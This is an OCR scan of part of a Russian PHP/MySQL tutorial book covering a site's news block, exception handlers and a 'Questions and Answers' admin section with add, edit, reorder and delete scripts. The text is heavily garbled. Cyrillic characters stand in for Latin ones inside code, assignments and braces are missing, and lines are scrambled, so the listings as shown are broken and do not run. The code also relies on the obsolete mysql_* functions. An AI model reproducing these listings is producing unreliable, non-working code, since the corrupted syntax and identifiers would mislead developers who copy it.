rе_опсе ("сопfig/сlаss . СОПfig . рhр " ); // Подключаем функцию вывода текста с bbCode requi re_once ("drn n /utils /utils . print_page .php " );
Гл ава 10. Новостной бл ок // Подключаем заголовок require_once ("ut ils .title .php " ); try // Если GЕТ-параметр id_news не передан - выводим // список НОВОСТНЫХ сообщений if (emp ty ( $_GET ['id_news '])) // Пр оверяем параметр page , пр едотвращая SQL-инъекцию $_GET['page'] intval($_GET['page'] ); // Количество сообщений на странице $pnurnber = 10; // Количество ссылок в постраничной навигации $page_link = 3; // Объявляем объект постраничной нави гаци и $obj = new pager_my s ql ($tbl_news , "", "ORDER ВУ putdate DESC" , $pnurnbe r, $page_l ink) ; // Подключаем верхний шаблон $title = "НОВОСТИ" ; $keywords = "новости" ; require_once ("templates /top.php" ) ; // Получаем содержимое текущей страницы $news = $obj - >get_page() ; // Если име ется хотя бы одна запись - выводим ее if( ! empty($news) ) echo title ($title) ; $patt $repl array("[b]", "[/Ь] ", "[i]", "[/i]") ; array ("", "", "", "") ; $pattern_url = " 1\[url[Л\]]*\] 1 "; 575
576 Часть 11. Создание са йта $pattern_b_u r1 " 1\[/ur1[Л\]]*\]1"; for ($i = О; $i < count ($news ); $i++) if (str1en ( $news [$i] ['body' ]) > 100) $news [$i] ['body' ] $news [$i] ['body' ] $news [$i] ['body' ] $news [$i] ['body' ] substr ($news [$i] [ 'body ' ] , О, 100) .". .."; str_rep1ace ($patt , $rep1 , $news [$i] ['body' ]); preg_rep1ace ( $pattern_ur1 , "", $news [$i] ['body ' ]); preg_rep1ace ($pattern_b_ur1 , "", $news [$i] ['body' ]); echo "<div c1ass=main_t xt><b>" . $news [$i] ['putdate' ]." 1 " print_page ($news [$i] [ 'пате' ]) . "</Ь> <br> " .printyage ($news [$i] [ 'body ' ] ) ." <а hre f=\ "news . php?id_news =" . $news [$i] ['id_news '] ."\" > подробнее </а> <b r>< /div>" ; / / Выв одим ССЬUIЮ1 на другие страницы echo "<div c1ass=main_t xt>"; echo $obj ; echo "</div>" ; // Если GЕТ-параметр id�news передан - выводим полную // версию новостного сообщения е1зе // Проверяем, является ли параметр id_news числом $_GET ['id�ews '] = intva1 ( $_GET ['id_new s'] ); // Выводим выбранное новостное сообщение $query = "SELECT id_news , пате , body ,
Глава 10. Новостно й бл ок 577 DATE_FORМAT (putdate, '%d. %m. % Y' ) as put date_fo rmat , url , urltext , urlpict , hide FROM $tbl news WHERE hide = 'show ' AND id_news = $_GET [id_news ]"; $res = mys ql_que ry ($query); if (!$res ) throw new Excepti onМySQL (mysql_e rror () , $que ry, $news "Ошибка при извлечении текущей позиции" ) ; // Подключаем верхний шаблон $title = $news ['name' ]; $keywords = "новости" ; require_once ("templates /top .php" ) ; echo title ($title) ; $urlyict = ""; if ($news ['urlpict '] != " && $news ['urlpict '] != ' - ') $url_p ict "<img src=" .pr int_page ($news [ 'urlpict ' ] ) . ">" ; $news_url = ""; if (!empty ($news ['url' ])) if( !preg_match ("I ЛhttР: //l i", $пеws [ 'url'])) $news [ 'url'] ''http://{$news[url ] } ";
578 Часть 1/. Создание са йта ?> "<Ьr><Ь>Ссыпк:а : </Ь> <а href='" .print_page ($news [ 'ur l' ]) . ">" . printyage ($news [ 'urltext ' ] ) . "</а>" ; if (emp ty ( $news ['urltext '])) $news_url "<Ьr><Ь>Ссыпк:а : </Ь> <а href= ' " .printyage ($news ['u r l'])." '>". print_page ($news [ 'url' ] ) . "</а>"; echo "<div class=main_t xt><b>" . $newS ['putdate_format '] ." I " printyage ($news [ 'пате' ] ) . "</Ь> <br> $url_pict ".n12br (print_page ($news [ 'body ' ] ) ) . " <br>$news_url </div>"; catch ( ExceptionМySQL $ехс ) require_o nce ("exception_my sql_debug .php " ); catch ( ExceptionObj ect $ехс) require_once ("exception_obj ect_debug .php " ); catch ( ExceptionМember $ехс ) requi re_once ("exception_member_debug .php " ); // Подключаем нижний шаблон require_once ("templates /bottom.php" ) ; Для организаци и постраничной навигации используется кл асс pager_my sql (см. главу 7). Если скрипту не передается GЕТ-параметр id_news с первич­ ным ключом новостного сообщения, выводится полный список новостей.
Глава 10. Новостной бл ок 579 Переход по ссылке подробнее... приводит к то му, что скрипту пеws. рllР пе­ редается первичный кл юч конкретного новостного блока, что приводит к вы­ воду полной версии новостного сообщения . В есь код из листинга 10.10 помещен в контролируемый блок try . .. catch () . Все возникающие по мере выполнения скрипта исключения обрабатываются следующими файлами: CI ехсерtiоп_m уsql_dеЬug.рllР - обработка исключений Excepti onMySQL; CI exceptioI1_obj ect_debug.php - обработка исключений Except i onObj ect; CI ехсерtiоп_mеmЬег_dеЬug.рhр - обработка исключений Except i onMember. Рассмотрим обработчик исключения на примере ExceptionМySQL (листинг 10.1 1). Листинг 10.1 1. Обработчик исключения ExceptionМySQL, файл ехсерtiоп_mеmЬег_dеЬug.рhр <?php ?> // Выставляем уровень обработки ошибок // (http:/ /ww w .SOfttime . ru/ info/articlephp . php?id_art icle= 23) Error_Reporting ( E_ALL & -E _NOTICE) ; if (defined ("DEBUG ") ) echo "<р сlаss=hеlР>ПРОИЗОllLJIа исключительная ситуация (-ЕхсерtiоnМуS QL ) при обращении к СУБД MySQL .</p>"; echo "<р class=help> {$exc- >gеtМуSQLЕ rrоr () )<br> " .n12br ($exc->gеtSQLQuеrу () ) . "</р >"; echo "<р сlаss=hеlр>Ошибка в файле {$exc->gеtFilе () ) в строке {$exc- >gеtLiпе () ).</р>"; exit () ; else echo "<HTML><НEAD> <МЕТА HTT P-ЕQUIV= 'Rеfrеsh ' CONTENT= 'O; URL=ехсерti оп_шуsql .рhр'> </НEAD></HTML> "; exit () ;
580 Часть 11. Создание са йта Есл и определена константа DEBUG, происходит вывод подробносте й об ис­ ключительной ситуации, в противном случае происходит переадресация на стран ицу ехсерtiоп_шуsql.рhр, сообщающей посетителям сайта об ошибке без лишних техн ических подробностей. ЗА МЕЧА НИЕ Константа DEBUG определяется в файле confi g/config.php. При помощи дан­ ной ко нстанты можно переключаться из отладочного режи ма в рабочий. Листинг 10.12. Файл exception_mysql.php <?php. // Заголовок require_once ("utils .title .php " ); // Подключаем верхний шаблон $title = "Произошла ошибка при работе сайта "; $keywords = "Произошла ошибка при работе сайта "; require_once ("templates /top .php" ) ; // Название echo title ($title) ; ?> <div class= "ma in_txt ">B работе сайта произошла ошибка . Приносим Вам свои извинения . Если вас не затруднит , сообщите , пожалуй с та, администраци и об обстоятель с твах ее возникновеНия .</ td> </div> <?php ?> // Подключаем нижний шаблон require_once ("temp lates /bottom.php" ) ;
ГЛАВА 11 Блок " Вопросы и Ответы" Сайт и эл ектронная почта зачастую используются ко мпаниями в -качестве быстрого и дешевого способа обратной связи со своими клиентам и. На сайте могут выклады ваться новости (см . главу 1 О), клиенты могут обмениваться почтов ыми сообщениями со служб ой технической поддержки . До 80% во­ просов клиентов зачастую повто ряются. Для снижения объема почтового трафика на сайте обычно заводят специальный раздел "Вопросы и Ответы ", в котором размещают наиболее часто задаваемые вопросы и ответы на них. 11.1. База данных Разработаем линейный блок вопросов и ответо в, в кото ром вопросы и ответы следуют друг за другом, без разб ивки на отдел ьные подразделы. Для этого создадим табл ицу system_ faq, состоя щую из следующих столбцов: О id_position - первичный ключ табл ицы, снабженный атрибутом AU TO_INCREMEN T ; О que stion - текстовое поле, предназначенное для вопроса; О answe r - текстовое поле, предназначенное для ответа; О put date - дата добавления позиции в базу данных; О pos - числовое поле, определяющее порядок следования блоков "во­ прос-ответ" относительно друг друга; О hide - поле типа ENUM, допустимыми значениями для которого являются " show " И " hide" . Есл и поле принимает значение " hide " , блок "вопрос-
582 Часть 11. Создание са йта ответ" доступен для просмотра тол ько в систе ме ад министрирования и не виден на саЙте . Если поле принимает значение " show " , блок доступен дл я просмотра как на сайте, так и в системе ад министрирования. В листинге 11.1 представл ен оператор CREATE TABLE, позволяющий создать табл ицу system_ faq. ЗА МЕЧАНИЕ В табл ицу введе но поле putdate, кото рое не имеет практического исполь­ зования, но является резервным на тот случай, есл и потребуется сорти­ ровка блоков " вопрос-ответ" по дате добавления. В объемных базах дан­ ных это может быть полезным для отслежи вания посетител ями последних изменений в разделе " Вопросы и Ответы" . Листи нг 11.1. Таблица sys tem_faq ($ tbl_faq) CREATE TAВLE system_ faq ( ); id_po sition INT (ll) NOT NULL AUTO_INCREМENT , que stion ТЕХТ NOT NULL , answe r ТЕХТ NOT NULL , putdate DATET IМE NOT NULL , hide ENUМ('show' , 'hide') NOT NULL DEFAULT 'show' , pos INT (ll) NOT NULL , PRIМARY КЕУ (id_p osition ) 11.2. С истема адм инистрирования Система администрирования блока "Вопросы и Ответы ", позволяющая до­ бавлять, редактировать и удалять позиции, состоит из следующих файлов: О index.php - гл авная стр аница, отображающая список позиций и управ­ ляющие ссылки; о fa qadd.php - НТМL-форма, позволяющая добавлять позиции; О faq edit.pllp - НТМL-форма, позволяющая редактировать позиции; О fa qdel.php - скрипт дл я удаления позиций; О fa qhide.php - скрипт, скры вающий позицию;
Глава 11. Блок "В опросы u Ответы" CJ faq show.php - скрипт, отображаю щий позицию; 583 CJ faq down.pl1p - скрипт, позволяющий опускать блок "вопрос-ответ" на одну позицию вниз относител ьно остальных бл оков; CJ faq up.pl1p - скрипт, позволяющий подн имать блок "вопрос-ответ" на од- ну позицию вверх относительно остал ьных блоков. При переходе к блоку ад министрирования посетител ь попадает на гл авную страницу iпdех.рl1р, внешний вид которой представлен на рис. 11.1 . Стран ица вкл ючает табл ицу, каждая строка которой соответствует одному бл оку "во­ прос-ответ" и содержит текст вопроса, текст ответа, а также позицию блока относител ьно остальных блоков. Кроме того, для каждого блока предназна­ чены управляющие ссылки, позволяющие редактировать, скрывать/отобра­ жать, удалять, а также изменять позицию блока относител ьно остальных блоков. В листинге 11.2 приводится содержимое файла iпdех.рl1р, в кото ром при по­ мощи объекта кл асса раgеr_шу sql (см . главу 7) выводится содержимое таб­ лицы sуstеш_ fаq ($tbl_faq). При это м сортировка блоков про изводится по полю pos. lШ1.<J JШ.!Шi.1 .! ! а,ККЭjжами ВоПР9СЫ И OrneJbl 5ЛОl< .наБоен?, Уп равление бл оком "Вопросы и Ответы" ' Здесь можно добавить блок �ВОПРОС.,()Iвет". отредаliТИРОВаоь или уда лить уже существующиll ДобаR�ПЪ бн ок ,!Спрос-о '/ 'вет Вопрос Omer I ПОЗо Дейсml lЯ Как эащlПlПЬ дирекrОРllЮ на сайте от несаНКЦИОНI<РОI!ЭННОГО ДОСТiП3 �ер еэ брауэер, Дnя этоrо МОЖН.О . воcnольэ оааtbСЯ КОНфlllYрационными . фаЙл ами .htaccess и .htpasswd, описание которых можно найти в стать е по ссылке. е.ё_�Ш , сУ.рьпь Е. .щ;." !>!.!!Р. .Q.!НШ. Уд ал ить � Рис. 11.1 . Гл авная страница блока "Вопросы и Ответы"
584 Листинr 11.2 . Гл авная страни ца блока index.php <?php // Устанавливаем соединение с базой данных require_on ce ("../ ../config/config .php" ) ; // Подключаем блок авторизации require_once' (" ../utils/security_rnod .php" ) ; // Подключаем SoftTirne FrarneWork Часть 11. Создание са йта require_once ("../ . ./config/class .config . drn n .php "); // Подключаем блок отображения текста в окне браузера requi re_once (" ../utils/utils . print_page .php" ) ; // Переме�ные , определяющие название страницы и подс казку $title = 'Управление блоком "Вопросы и Ответы" '; $pageinfo = '<р сlаss=hеlр>Здесь можно добавить блок "вопрос-ответ ", отредактировать или удалить уже суще ствуюЩИЙ. </р>' ; / / Включаем заголовок страницы require_once ("../utils/top .php" ) ; try // Количество ссылок в постр аничной навигации $page_l ink = 3; // Количество позиций на странице $pnurnber = 10; // Объявляем объект постраничной навигации $obj = new pager_rnys ql ($tbl_faq, // Добавить позицию "", "ORDER ВУ pos ", $pnurnbe r, $page_l ink) ; echo "<а href=faqadd . php ?page=$_GET [page ] titlе= ' Добавить блок вопрос- ответ '> Добавить блок вопрос-ответ</а><Ьr><Ьr>" ;
Глава 11. Блок "Вопр осы и Ответы " // Получаем содержимое текущей страницы $faq = $obj ->get - page() ; // Если имеется хотя бы одна запись - выводим ее if ( ! ernpty ($faq) ) ?> <table width="lOO% " class="tab le " bo rde r="O" cellpadding="O" cellspacing="O"> <tr class="header" align= "center"> <td>Вопрос< / td> <td>OTBeT</td> <td width=4 0>ПОЗ .</td> <td>Действия< / td> </tr> <?php for ($i О; $i < count ($faq) ; $i++) // Если позиция отмечена как невидимая (hide= 'hide' ), выводим 585 // ссылку "отобразить ", если как видимая (hide= 'show' ) - "скрыть " $colorrow - " Н . - , $url = "?id_pos it ion={$faq [$iJ [id_p ositionJ )&page=$_GET [page] "; if ($faq [$i] ['h ide' ] == 'show' ) ,{ $showhide else $showhide $colorrow "<а hre f= faqhide .php $url title= ' CKpblTb позицию '> Скрыть</а>" ; "<а hre f=faqshow .php $url titlе= ' Отобразить позицию '> Отобразить</а>"; "class= ' hiddenrow ''';
586 Часть 11. Создание са йта ?> // Выв одим новость echo "<tr $colorrow > <td>" .n12br (printyage ($fa q[$i] ['question' ])). "</td> <td>" .n12br (printyage ($fa q[$i] ['answer' ] )) . "</td> <td align=center> {$faq [$i] [pos ] j</td> <td align=center> <а href=faqup .php $url>BBepx</a><br> $showhi de<br> <а href=faqedit . php$url titlе= ' Редактировать текст новости '>Редактировать </а><Ьr> <а href=# onCl ick=\"delete_po sition ('faqdel . php$url ',". "'Вы действитель но хотите удали ть позицию? ') ;\" titlе= 'Удалить новость ' >Удалить </а><Ьr> < а hrеf=fаqdоwn .рhр $url>Вниз</а><Ьr>< / td> </tr>"; echo "</table><br> "; / / Выводим ссылки на другие страницы echo $obj ; catch (Except ionМySQL $ехс ) require (" ../utils/ехсерtiоп_шуs ql . рhр ") ; // Включаем завершение страницы require_once ("' . ./utils/Ьоttош.рhр" ) ; Для вывода текстовой информаци и в окно браузера испол ьзуется ранее рас­ смотренная функция print_page () (см . листинг 10.3). Для добавления ново­ стн ого блока испол ьзуется НТМL-форма faq add.pl1p, внешний вид которой представл ен на рис. 11. 2. В отличие от блока новосте й, сорти ровка блоков здесь осуществляется по пол ю pos, поэтому формы для редактирования даты не предоставляется . На сам ом дел е заполнение поля "Позиция " не требуется - система автоматиче-
Глава 11. Блок "ВОПРОСbl U Ответы" 587 ски вычисляет позицию эл емента управления и подставляет в поле. Дл я это го к табл и це system_ faq ( $tbl_faq) осуществляется запрос, вычисляющий мак­ симальное значение поля pos, которое увеличивается на еди ницу для нового блока (л исти нг 11. 3). OraeT :t: 1l0:»tЦИfI ': от несаНК$lонир ованного доступа чере з браузер . для этого можно восполь зоваться !l:ОНфигур ационными файлами .htaccess и .htpasswd , описание которых .можн о найти в статье по [ur l=http ://��•. softtime .ru/article . i !i11c:l�� :PllP?�?=�_!: ticl e=27 000 000 EI Отображать: Р' Добавить Рис. 11.2 . Добавление нового блока Листинг 11.3 . Доба вл ение нового блока faqadd.php <?php // Устанавливаем соединение с базой данных require_once (" ../ ../con fig/config .php" ) ; // Подключаем блок авторизаци и require_once (" ../utils/security_m od .php ") ; // Подключаем классы формы requi re_once (" ../ ../con fig/class.config .dmn .php ") ;
588 Часть 11. Создание са йта if (emp ty ( $_POST )) ( // Отмечаем флажок hide $_REQUEST ['h ide'] = true ; // Извлекаем текущую максимальную позицию $query = "SELECT МАХ (pos ) FROM $tbl_faq "; $pos = mysql_que ry ($query) ; if (!$pos ) throw new ExceptionМySQL (mys ql_error () , $que ry, "Ошибка при извлечении максимальной позиции" ) ; $_REQUEST [ 'pos ' ] mys ql_result ($pos , О) + 1; try $question new field_t extarea ("question" , "Вопрос " , $answer $pos $hide $page $form true , $_POST ['question' ]); new field_textarea ("answer" , "Ответ ", true , $_POST ['answe r ']) ; new field_t ext_int ("pos ", "Позиция ", true , $_REQUEST ['po s'] ); new f ield_checkbox ( "hide " , "Отображать " , $_REQUE ST ['h ide'] ) ; new field_hidden_int ("page", true , $ REQUE ST ['page ']); ,- new form (array ("que stion " = > $question, "answer" = > $answer,
Гл ава 11. Блок "В опр осы u Ответы" "pos" => $pos, "hide " => $hide , "page " => $page) , "Добавить " , "field" ) ; // Обработчик НТМL-формы if (!empty ($_POST ) ) f // Проверяем корректность заполнения НТМL- формы // и обрабатываем текстовые поля $error = $form->check () ; if (emp ty ($e rror) ) // Скрытая или открытая директория if ($form- >fields ['h ide']- >value ) $showhide else $showhide = "hide"; // Формируем SQL- запрос на добавление // новостного сообщения $query = "INSERT INTO $tbl_faq "show" ; VALUES (NULL, '{$form- >fields [question ] - >value} ', ' { $form- >fields [answer] - >va lue} ', NOW (), '$showhide ' , , { $form- >fields [pos ] ->value } , ) "; if( !mys ql_que ry ($query ) ) throw new ExceptionМySQL (mys ql_error () , $query, "Ошибка добавления позиции" ) ; // Осуще ствляем перенаправление // на главную страницу администрирования 589 header ( "Location : index . php?page= { $form- >fields [page ] - >va lue}") ; exit () ;
590 Часть 11. Создание сайта ?> // Начало страницы $title 'Добавление позиции '; $pageinfo = '<р class=help></p> '; // Включаем заголовок стр аницы require_once (" ../utils/top .php" ) ; echo "<р><а href=# onClick= 'history . back () '>Назад</а></р>" ; // Выводим сообщения об ошибках , если они имеют ся if (!empty ($error ) ) foreach ($error as $err) echo "<span style=\"color : red\ ">$err</span><br> "; } // Выводим НТМL-форму $form->print_form () ; catch ( ExceptionObj ect $ехс ) require (" ../utils/excepti on_obj ect.php ") ; catch ( ExceptionМySQL $ехс ) require (" ../utils/exception_шу sql .рhр ") ; catch (ExceptionМemb er $ехс) requi re (" ../utils/ехсерtiоп_шembе r.рhр ") ; / / Включаем завершение страницы require_o nce (" ../utils /Ьоttош.рhр" ) ; Управляющая ссылка Добавить блок воп р ос-ответ, ведущая на стран ицу fa qadd.pl1p, принимает в качестве GЕТ-параметра номер текущей стран ицы page . После добавления новой зап иси в базу данных и возврата на гл авную стр аницу при помощи НТТР-заголовка Location текущий номер страницы
Гла ва 11. Блок "В опросы u Ответы " 591 pa ge передается в качестве GЕТ-параметра. Для успешной передач и значения p a g e В НТМL-форму вводится одноименное скрытое поле. Автоматически назначенное системой значение поля pos, таюке как вопрос и ответ, можно отредактировать в дал ьнейшем при помощи управляющей сс ылки Редактировать, которая ведет на страницу faq edit.pI1p. Помимо G �T­ п араметра page странице fa q edit.pl1p передается первичный ключ редакти­ руемой стран ицы id_p o sition. В листинге 11.4 приводится содержимое страницы faq edit.pl1p. Листинг 11.4. Редакти рование блока faqedit. php <?php // Устанавливаем соединение с базой данных require_once (" ../ ../config/config .php" ) ; // Подключаем блок авторизации requi re_once (" ../utils/security_mo d .php" ) ; // Подключаем кл ассы формы require_o nce (" . ./ ../con fig/class . config .dmn.php ") ; try // Защищаем GЕТ-параметр от SQL-инъе кци и $_GET ['id_p osition' ] = iпtvаl ( $_GЕТ ['id-роs itiоп' ]); if (emp ty ( $_POST )) { $query = "SELECT * FROM $tbl_faq WНERE id-роsitiоп=$_GЕТ [id-ро sitiоп] LIMIT 1"; $cat = my sql_que ry ($que ry) ; if (!$cat ) } throw new ExceptionМySQL (mys ql_error () , $que ry, "Ошибка при обращении каталогу" ) ; $_RE QUE ST = mysql fetch_array ($cat) ; $_REQUEST [ 'page ' ] $_GET ['page' ] ;
592 Часть 11. Создание са йт а if ( $_REQUEST ['h ide' ] == 'show' ) $_REQUEST ['h ide'] = true ; else $_REQUEST ['h ide' ] = false; $question new field_textarea ("que stion", "Вопрос ", $answer true , $_REQUE ST ['question' ]); new field_textarea ("answer" , "Ответ" , true , $_REQUE ST ['answe r' ]); $pos new field_t ext_int ("pos ", $hide $page $fo= "Позиция" , true , $_REQUE ST ['pos' ]); new field_checkbox ("hide", "Отображать ", $_REQUEST [ 'hide ' ] ) ; new field hidden_int ("page " , true , $_REQUEST ['page'] ); new field_hidden_int ("idyos ition", true , $ REQUE ST ['id_po sition' ]); new fo= (ar ray ("que stion" = > $question, "answer " = > $answer, "pos" => $pos, "hide" = > $hide , "idy osition" => $id_p osition, "page" => $page) , " Редактировать " , "field" ) ; // Обработчик НТМL-формы if( !emptу ($_POST) ) {
Глава 11. Блок "ВОПР ОСbl U Ответы" 593 } // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $form- >check () ; if (empty ($e rror) ) // Скрыт ая или открытая позиция if ($form- >fields ['hide' j->va lue ) $showhide else $showhide = "hide"; "show " i // Формируем SQL-запрос на редактирование позиции $query = "ОРОАТЕ $tbl_faq SET que stion '{$form- >fields [questionj ->va lue }', answe r '{$form- >fields [answerj - >value} ', hide ' $showhide ' , ров '{$form- >fields [pos j - >va lue }, WНERE id_po sition { $form- >fields [ id_po sitionj - >value }"; if ( ! mys ql_query ($que ry) ) throw new Except i onМySQL (mys ql_e rror () , $query, "Ошибка при редактировании позиции ") ; // Осуществляем редирект на главную страницу администрирования header ("L ocation : index .php ? ". "page= { $form->fields [page j - >va lue } ") ; ехН (); // Начало страницы $title 'Редактирование позиции '; $pageinfo '<р class=help></p> '; // Включаем заголовок страницы requi re_once (" ../utils/top .php ") ; echo "<р><а href=# onClick='history .back () '>Назад</а></р> "; // Выв одим сообщения об ошибках , если они имеют ся if (!empty ($error) )
594 Часть 11. Создание сайта foreach ($error as $err} echo "<span style=\"color : red\ ">$err</span><br> "; ?> // Выв одим НТМL-форму $form->print_form (} ; catch ( Except ionObj ect $ехс } require (" ../utils/exception_obj ect .php " ) ; catch ( ExceptionМySQL $ехс } require (" ../utils/exception_rnys ql .php "} ; catch ( Excepti onМernbe r $ехс } require (" ../utils/exception_rnernbe r.php "} ; // Включаем завершение страницы require_once (" ../utils/bottorn .php" } ; Для переданного первичного ключа id po sition из табл ицы systern faq ( $tbl_faq) извлекается содержимое соответствующего ему блока, которое подставляется в соответствующие поля НТМL-формы. Отредактированные данные отправляются обработч ику, который изменяет содержи мое записи в таблице при помощи UPDAТЕ-запроса. Вручную изменять позицию блока относител ьно других блоков - не всегда самый удобный вариант для пол ьзователя. Именно поэто му в инте рфейс управления введены управляющие ссылки Вверх (faq up.pI1p) и Вниз (faqdown . pI1p), позволяющие перемещать текущий блок либо на одну пози­ цию вверх, либо на одну позицию вниз. В листи нге 11.5 приводится содер­ жимое файла fa qtlp.pI1p. Как и скрипт fa qedit.php, управляющие скрипты faq up.php и fa qdowl1.pl1p принимают два GЕТ-параметра: page - номер те­ кущей страницы и id_p os i tion - первичный ключ изменяемой записи.
Глава 11. Блок "В опросы и Ответы" Листинг 11.5 . Подъем блока на одну позицию вверх fa qup.php <?php // Устанавливаем соединение с базой данных require_once (" ../ . ./config/con fig .php ") ; // Подключаем блок авторизаци и requi re_once ( .. ../utils/security_m od .php .. ) ; // Подключаем SoftTime FrameWork require_once ( .. ../ . ./con fig/class . config .dmn.php .. ) ; // Проверяем, передано ли число в GЕТ- параметре $_GET ['id_p osition' ] intval ( $_GET ['id_pos ition' ]); try // Извлекаем текущую позицию $query = "SELECT pos FROM $tbl_faq WНERE id-po sition $_GET [id_po sition] LIMIT 1"; $pos = mysql_que ry ( $que ry) ; if (!$pos ) } throw new ExceptionМySQL (mys q1_error () , $query, "Ошибка при извлечении текущей позици и "); $pos_current = mysql_result ($pos , О) ; // Извлекаем предыдуЩуЮ позицию $query = "SELECT pos FROM $tbl_faq WНERE pos < $pos_current ORDER ВУ pos DE SC LIMIT 1"; $pos = mysq1 que ry ($query) ; if (!$pos ) 595
596 J throw new Excepti onМySQL (mysql_e rror () , $que ry, ЧастЬ /1. Создание са йта "ОIlIИбк:а при извлечении предыдущей позиции" ) ; $pos_preview = my sql_result ($pos , О ); // Меняем ме стами тек:ущую и предыдущую позиции $query = " UPDATE $tbl_faq SET pos = $pos_current + $pos_preview - pos WHERE pos IN ($pos_current , $pos_preview) "; if( !mysql_query ($que ry ) ) throw new Except ionМySQL (mys ql_e rror () , $que ry, j' ОIlIИ бк:а изменения позиции" ) ; // Если запрос выполнен удачно , осуще ствляем автома тическ:ий переход // на главную страницу администрирования header ( "Location : index .php?" . "page=$_GET [page] ") ; catch ( ExceptionМySQL $ехс ) require (" ../utils/except ion_mys ql .php "J ; ?> Положение блока относител ьно других блоков определяется значением поля pos. Подъем блока сводится к обмену значениями полей pos текущего и пре­ дыдущего блоков (рис. 11. 3). Скрипт из листинга 11. 5 выполняет три SQL-запроса: первый S ELECT-запрос извлекает значение поля pos для текущей записи $pos current, второй
Гл ава 11. Блок "В опросы u Ответы" 597 SELECT-запрос извлекает значение поля pos дл я предыдущей записи $ p os_preview. Последн ий UРDАТЕ-запрос осуществляет обмен значений. Предыдущий Текущий Рис. 11 .3 . Обмен значений поля pos текущей и предыдущей записей ДЛЯ подъема блока на одну позицию вверх Так как значения поля pos всегда целочисленные, то обмен значений осуще­ ствляется по формулам posl = (posl + pos2) - posl pos2 = (posl + pos2) - pos2 Благодаря SQL-оператору IN тако й подход позволяет обменять значения при помощи одного UPDAТЕ-запроса, а не двух. Аналогичным образом работает скрипт fa qdowl1 .pl1p, опускающий раздел на одну позицию вниз, только вместо предыдущей записи осуществляется поиск следующей записи $pos _next (л истинг 11.6). Листинг 11.6. Опуска ние блока на одну позицию вниз faqdown.php <?php // Устанавливаем соединение с базой данных require_опсе (" ../ ../ config/ config . php " ) ; // Подключаем блок авторизаци и require_once ( .. ../utils/security_mod .php .. ); // Подключаем SoftTime FrameWork require_once (" ../ ../config/class . config .dmn .php ") ; // Пр оверяем, передано ли число в GЕТ- параметре $_GET ['id_p osition' ] intval ( $_GET ['id_po sition' ]); try
598 Часть /1. Создание сайта // Извлекаем текущую позицию $que ry = "SELECT pos FROM $tbl_faq WНERE id-pos ition = $_GET [id-роsitiоп ] LIMIT 1"; $pos = rnysql_query ($que ry) ; if (!$pos ) ) throw new ExceptionМySQL (rnys ql_error () , $que ry, "Ошибка при извлечении текущей позици и "); $pos_current = rnysql_result ($pos , О) ; // Извлекаем следующую позицию $query = "SE;LECT pos FROM $tbl_faq WНERE $sql_fragrnent pos > $pos_current ORDER ВУ pos LIMIT 1"; $pos = rnysql_query ($que ry) ; if(!$pos ) throw new Excepti onМySQL (rnysql_e rror () , $query, "Ошибка при извлечени и следующей позици и "); $pos_next = rnysql_result ($pos , О) ; // Меняем местами текущую и =едующую позици и $query = "UPDATE $tbl_faq SET pos = $pos_next + $pos_current - pos WНERE pos IN ($pos_next , $po s_current )"; if ( ! rnysql_query ($query) )
Гла ва 11. Блок "Вопросы и Ответы" ) throw new ExceptionМySQL (mysql_error () , $query, "Ошибка изменения позици и "); 599 // Если запрос выполнен удачно , осуществляем автоматический переход // на главную страницу администрирования header ( "Location : index .php ? ". "page=$_GET [page] ") ; catch ( ExceptionМySQL $ехс ) require (" ../utils/except i on_mys ql .php ") ; ?> За удаление блока несет ответственность файл fa qdel.php, содержимое кото­ рого представлено в листинге 11. 7. Листинг 11.7 . Удаление блока faqdel.php <?php // Устанавливаем соединение с базой данных require_опсе (" ../ . ./ config/ config . php " ) ; // Подключаем блок авторизаци и require_once (" ../utils/security_mod .php" ) ; // Подключаем SoftTime FrameWo rk require_once (" . . / . ./config/class . config .dmn.php ") ; // Проверяем GЕТ-параметр , предотвращая SQL-инъекцию $_GET ['id_pos ition '] = iпtvаl ( $_GЕТ ['id-роs itiоп ']); try // Формируем и выполняем SQL-з апрос // на удаление блока из базы данных $query = "DELETE FROM $tbl_faq
600 WHERE id_pos ition=$_GET [id_p osition J LIMIT 1"; if (mysql_query ($query) ) { Часть 11. Создание са йта header ("Location : index . php ?page=$_GET [pageJ ") ; ?> else throw new ExceptionМySQL (mysql_error () , $query, catch ( ExceptionМySQL $ехс ) "Ошибка удаления блока") ; requi re ("../utils/exception_my sql .php" ) ; Файлы fa q show.php и fa qhide.php в целом повторяют структуру аналогичных файлов для блока новостей, рассмотренных в главе 10. Как видно, многие управляющие файл ы для разл ичных блоков сайта повто­ ряются - по сути, создание таких файлов сводится к переименованию имени таблицы, так как виды работ (сокрытие/отображение или перемещение бл о­ ков), да и сами поля таблиц совпадают. Для того чтобы уменьшить объем кода и снизить количество возможных ошибок, разработаем дл я операций сокрытия, отображения, перемещения на одну позицию вверх и одну пози­ цию вниз соответствующие функции, которые размести м в файле utils/utils.position .php: LJ show () - отображение блока; LJ hide () - сокрытие блока; LJ ир () - подъем блока на одну позицию вверх; LJ down () - опускание блока на одну позицию вниз. Для того чтобы функции были универсальны и могли быть применены к лю­ бым блокам сайта, введем ограничения на структуру таблиц. В частности, первичный кл юч всегда должен называться id_po sition; поле, ответственное за сокрытие и отображе ние блока, должно называться hide; поле, опреде­ ляющее позицию блока относител ьно других блоков, - ров .
Глава 11. Блок "В опросы и Ответы" 601 Задача функции show () заключается в отображении блока, то есть изменении з н ачения поля pos произвольной табл ицы на " show" . Соответственно, функ­ ция hide () изменяет значение поля pos на " show" . Данные функции имеют сл едующий синтаксис: shоw($ id_ро sitiоп, $tbl_пamе [[, $whe re ], $fld_пamе] )i h idе ($id-р оsitiоп, $tb l_пamе [[, $whe re ], $ f ld_пamе] ); В качестве первого параметра функции принимают значение первичного ключа $id_роs itiоп изменяемой записи, в качестве второго - имя таблицы. Третий необязател ьный параметр содержит дополнительные условия для конструкции WHERE SQL-запроса. Как правило, до пол н ительные условия не требуются, так как первичный ключ уникален, однако такую возможность все же лучше предусмотреть, для того чтобы увеличить гибкость функции. Последний параметр $ fld_пате позволяет передать имя первичного кл юча, есл и оно отлично от id_р о sitiоп. В листинге 11.8 приводится возможная реализация функции show (). Листинг 11.8. Функция show () <?php ?> funсtiоп shоw ($id-роsitiоп, $tb l_пamе , $whe re = "", $fld_пamе = "id_р оs itiоп" ) 11 Проверяем GЕТ- параметр , предо твращая SQL-инъекцию $id_ро sitiоп = iпtvа l ($id_роsitiОП )i 11 Отображаем позицию $query = "UPDATE $tbl_пamе SET hide= 'show ' WНERE $fld_пamе=$ id_роsitiоп 